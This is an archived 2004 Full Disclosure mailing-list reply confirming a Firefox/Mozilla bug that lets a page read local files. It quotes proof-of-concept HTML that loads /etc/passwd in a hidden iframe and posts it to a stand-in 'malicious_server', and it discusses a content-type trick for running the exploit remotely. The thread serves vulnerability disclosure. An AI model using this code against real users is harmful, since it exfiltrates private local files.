Home page logo

fulldisclosure logo Full Disclosure mailing list archives

Re: Disclosure of local file content in Mozilla Firefox and Opera
From: Juergen Schmidt <ju () heisec de>
Date: Mon, 6 Dec 2004 19:30:59 +0100 (CET)

On Mon, 6 Dec 2004, Giovanni Delvecchio wrote:


Read a local file by inner.HTML method:

<BODY onLoad="ReadFileContent()" >
<iframe name="local_file" src="file:///etc/passwd" height=0

<form name="module" method="post" action="http://malicious_server/grab.php";
<input name="content" type="hidden" size="300" >


function ReadFileContent(){


//send content to malicious_server


While I can confirm, that this works with FF 1.0, older versions like
0.9.3 and Mozilla 1.7.3 choked on document.all, which isn't really
supported by Mozillas DOM.

I got it to work with document.firstChild:
<BODY onLoad="ReadFileContent()" >

<iframe id="local_file" name="local_file" src="file:///etc/passwd"
height=0 width=0>

function ReadFileContent(){


This worked with all versions of Mozilla and Firefox I checked.

Possible method of remote exploitation:

How could a malicious remote user exploit it ?

My idea is the following:

After that the user "victim" has required
if malicious_server responds with a page containing an unknown
field ( for example text/html. ,note the dot) ,the browser will show a
dialog window with some options (open, save, cancel). Choosing "Open" to
view this page, it will be downloaded and opened in local ; javascript
code will be executed in local context.

I am offered to "Open with GNU Emacs (default)" under Linux -- but this
may have been configured by me a long time ago.
On Windows, I can have the default opener set to my browser by adding:

Content-Disposition: attachment; filename=cttest.html

(the .html is important).

bye, ju

Juergen Schmidt       Chefredakteur  heise Security     www.heisec.de
Heise Zeitschriften Verlag,    Helstorferstr. 7,       D-30625 Hannover
Tel. +49 511 5352 300      FAX +49 511 5352 417       EMail ju () heisec de
GPG-Key: 0x38EA4970,  5D7B 476D 84D5 94FF E7C5  67BE F895 0A18 38EA 4970

Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]